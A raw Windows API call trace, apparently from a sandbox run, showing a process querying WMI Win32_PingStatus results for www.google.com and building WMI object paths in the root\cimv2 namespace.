[0142.182] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0142.182] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0142.182] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0142.182] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0142.182] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0142.182] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0142.182] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0142.182] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0142.182] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0142.182] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0142.182] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0142.182] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0142.182] SysStringByteLen (bstr="ReplySize") returned 0x12 [0142.182] SysStringByteLen (bstr="ReplySize") returned 0x12 [0142.182] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0142.183] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0142.183] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0142.183] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0142.183] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0142.183] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0142.184] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0142.184] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0142.184] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0142.184] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0142.184] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0142.184] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0142.184] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0142.184] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0142.184] SysStringByteLen (bstr="StatusCode") returned 0x14 [0142.184] SysStringByteLen (bstr="StatusCode") returned 0x14 [0142.184] SysStringByteLen (bstr="Timeout") returned 0xe [0142.184] SysStringByteLen (bstr="Timeout") returned 0xe [0142.184] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0142.184] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0142.184] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0142.184] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0142.184] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0142.184] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0142.184] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0142.184] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0142.184] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0142.184] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0142.185] SysStringByteLen (bstr="TypeofService") returned 0x1a [0142.185] SysStringByteLen (bstr="TypeofService") returned 0x1a [0142.185] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491034*=0, plFlavor=0x2491038*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2491034*=8, plFlavor=0x2491038*=0) returned 0x0 [0142.185] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.185] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.185] IWbemClassObject:Get (in: This=0x4f480a0, wszName="BufferSize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24910c4*=0, plFlavor=0x24910c8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x24910c4*=19, plFlavor=0x24910c8*=0) returned 0x0 [0142.185] IWbemClassObject:Get (in: This=0x4f480a0, wszName="NoFragmentation", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491134*=0, plFlavor=0x2491138*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491134*=11, plFlavor=0x2491138*=0) returned 0x0 [0142.186] IWbemClassObject:Get (in: This=0x4f480a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249136c*=0, plFlavor=0x2491370*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249136c*=19, plFlavor=0x2491370*=0) returned 0x0 [0142.186] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ProtocolAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24913dc*=0, plFlavor=0x24913e0*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="172.217.18.100", varVal2=0x0), pType=0x24913dc*=8, plFlavor=0x24913e0*=0) returned 0x0 [0142.186] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0142.186] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0142.186] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249146c*=0, plFlavor=0x2491470*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x249146c*=8, plFlavor=0x2491470*=32) returned 0x0 [0142.186] SysStringByteLen (bstr="") returned 0x0 [0142.186] SysStringByteLen (bstr="") returned 0x0 [0142.186] IWbemClassObject:Get (in: This=0x4f480a0, wszName="RecordRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24914d0*=0, plFlavor=0x24914d4*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24914d0*=19, plFlavor=0x24914d4*=0) returned 0x0 [0142.187] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ReplyInconsistency", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24915cc*=0, plFlavor=0x24915d0*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24915cc*=11, plFlavor=0x24915d0*=0) returned 0x0 [0142.187] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ReplySize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249163c*=0, plFlavor=0x2491640*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x249163c*=19, plFlavor=0x2491640*=0) returned 0x0 [0142.187] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResolveAddressNames", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24916ac*=0, plFlavor=0x24916b0*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24916ac*=11, plFlavor=0x24916b0*=0) returned 0x0 [0142.187] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResponseTime", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249171c*=0, plFlavor=0x2491720*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x249171c*=19, plFlavor=0x2491720*=0) returned 0x0 [0142.188] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249178c*=0, plFlavor=0x2491790*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x71, varVal2=0x0), pType=0x249178c*=19, plFlavor=0x2491790*=0) returned 0x0 [0142.188] IWbemClassObject:Get (in: This=0x4f480a0, wszName="RouteRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24917fc*=0, plFlavor=0x2491800*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24917fc*=8200, plFlavor=0x2491800*=32) returned 0x0 [0142.188] IWbemClassObject:Get (in: This=0x4f480a0, wszName="RouteRecordResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491860*=0, plFlavor=0x2491864*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491860*=8200, plFlavor=0x2491864*=32) returned 0x0 [0142.188] IWbemClassObject:Get (in: This=0x4f480a0, wszName="SourceRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24918c4*=0, plFlavor=0x24918c8*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x24918c4*=8, plFlavor=0x24918c8*=0) returned 0x0 [0142.188] SysStringByteLen (bstr="") returned 0x0 [0142.188] SysStringByteLen (bstr="") returned 0x0 [0142.188] IWbemClassObject:Get (in: This=0x4f480a0, wszName="SourceRouteType", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491928*=0, plFlavor=0x249192c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491928*=19, plFlavor=0x249192c*=0) returned 0x0 [0142.189] IWbemClassObject:Get (in: This=0x4f480a0, wszName="StatusCode", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491998*=0, plFlavor=0x249199c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491998*=19, plFlavor=0x249199c*=0) returned 0x0 [0142.189] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Timeout", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491e40*=0, plFlavor=0x2491e44*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2491e40*=19, plFlavor=0x2491e44*=0) returned 0x0 [0142.189] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TimeStampRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491eb0*=0, plFlavor=0x2491eb4*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491eb0*=8211, plFlavor=0x2491eb4*=32) returned 0x0 [0142.189] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491f14*=0, plFlavor=0x2491f18*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491f14*=8200, plFlavor=0x2491f18*=32) returned 0x0 [0142.189] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491f78*=0, plFlavor=0x2491f7c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491f78*=8200, plFlavor=0x2491f7c*=32) returned 0x0 [0142.190] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TimestampRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491fdc*=0, plFlavor=0x2491fe0*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2491fdc*=19, plFlavor=0x2491fe0*=0) returned 0x0 [0142.190] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249204c*=0, plFlavor=0x2492050*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x249204c*=19, plFlavor=0x2492050*=0) returned 0x0 [0142.190] IWbemClassObject:Get (in: This=0x4f480a0, wszName="TypeofService", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24921c8*=0, plFlavor=0x24921cc*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24921c8*=19, plFlavor=0x24921cc*=0) returned 0x0 [0142.190] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=0, plFlavor=0x59ee8c8*=0 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0142.190] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.190] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.191] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0142.191] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.191] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.191] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0142.191] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.191] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.191] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x578 [0142.191] SetEvent (hEvent=0x3f0) returned 1 [0142.191] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x578, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0142.195] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0142.195] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0142.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4daba0) returned 0x0 [0142.195] WbemDefPath:IUnknown:AddRef (This=0x4daba0) returned 0x3 [0142.195] WbemDefPath:IUnknown:Release (This=0x4daba0) returned 0x2 [0142.195] WbemDefPath:IWbemPath:SetText (This=0x4daba0, uMode=0x4, pszPath="") returned 0x0 [0142.195] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x57c [0142.195] SetEvent (hEvent=0x3f0) returned 1 [0142.195] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x57c, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0142.212] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0142.212] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0142.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4dac10) returned 0x0 [0142.212] WbemDefPath:IUnknown:AddRef (This=0x4dac10) returned 0x3 [0142.212] WbemDefPath:IUnknown:Release (This=0x4dac10) returned 0x2 [0142.212] WbemDefPath:IWbemPath:SetText (This=0x4dac10, uMode=0x4, pszPath="") returned 0x0 [0142.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4dac10, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0142.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4daba0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0142.212] WbemDefPath:IWbemPath:GetClassName (in: This=0x4dac10, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0142.213] WbemDefPath:IWbemPath:GetServer (in: This=0x4dac10, puNameBufLength=0x59ee89c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee89c*=0x0, pName=0x0) returned 0x80041009 [0142.213] WbemDefPath:IWbemPath:SetServer (This=0x4dac10, Name="Q9IATRKPRH") returned 0x0 [0142.213] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x580 [0142.213] SetEvent (hEvent=0x3f0) returned 1 [0142.213] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x580, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0142.219] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0142.219] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0142.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4f6a278) returned 0x0 [0142.219] WbemDefPath:IUnknown:AddRef (This=0x4f6a278) returned 0x3 [0142.219] WbemDefPath:IUnknown:Release (This=0x4f6a278) returned 0x2 [0142.219] WbemDefPath:IWbemPath:SetText (This=0x4f6a278, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0142.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4dac10, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f6a278, puCount=0x59ee848 | out: puCount=0x59ee848*=0x2) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetText (in: This=0x4f6a278, lFlags=16, puBuffLength=0x59ee844*=0x0, pszText=0x0 | out: puBuffLength=0x59ee844*=0xb, pszText=0x0) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetText (in: This=0x4f6a278, lFlags=16, puBuffLength=0x59ee844*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee844*=0xb, pszText="root\\cimv2") returned 0x0 [0142.220] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4dac10) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f6a278, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f6a278, uIndex=0x0, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x5, pName=0x0) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f6a278, uIndex=0x0, puNameBufLength=0x59ee87c*=0x5, pName="0000" | out: puNameBufLength=0x59ee87c*=0x5, pName="root") returned 0x0 [0142.220] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4dac10, uIndex=0x0, pszName="root") returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f6a278, uIndex=0x1, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x6, pName=0x0) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f6a278, uIndex=0x1, puNameBufLength=0x59ee87c*=0x6, pName="00000" | out: puNameBufLength=0x59ee87c*=0x6, pName="cimv2") returned 0x0 [0142.220] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4dac10, uIndex=0x1, pszName="cimv2") returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetClassName (in: This=0x4dac10, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0142.220] WbemDefPath:IWbemPath:SetClassName (This=0x4dac10, Name="Win32_PingStatus") returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4dac10, puCount=0x59ee8e4 | out: puCount=0x59ee8e4*=0x2) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetText (in: This=0x4dac10, lFlags=4, puBuffLength=0x59ee8e0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8e0*=0x29, pszText=0x0) returned 0x0 [0142.220] WbemDefPath:IWbemPath:GetText (in: This=0x4dac10, lFlags=4, puBuffLength=0x59ee8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59ee8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0142.223] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.223] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.224] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.224] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.224] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.224] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0142.224] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.224] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.224] SafeArrayGetLBound (in: psa=0x507570, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0142.224] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.224] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.224] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.224] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.224] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.224] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.224] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.224] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.224] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.224] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.225] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.225] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.225] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.225] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.225] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.225] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.225] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.225] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.225] SysStringByteLen (bstr="__PATH") returned 0xc [0142.225] SysStringByteLen (bstr="__PATH") returned 0xc [0142.225] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249aa34*=0, plFlavor=0x249aa38*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x249aa34*=3, plFlavor=0x249aa38*=64) returned 0x0 [0142.225] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249aa68*=0, plFlavor=0x249aa6c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249aa68*=8, plFlavor=0x249aa6c*=64) returned 0x0 [0142.225] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 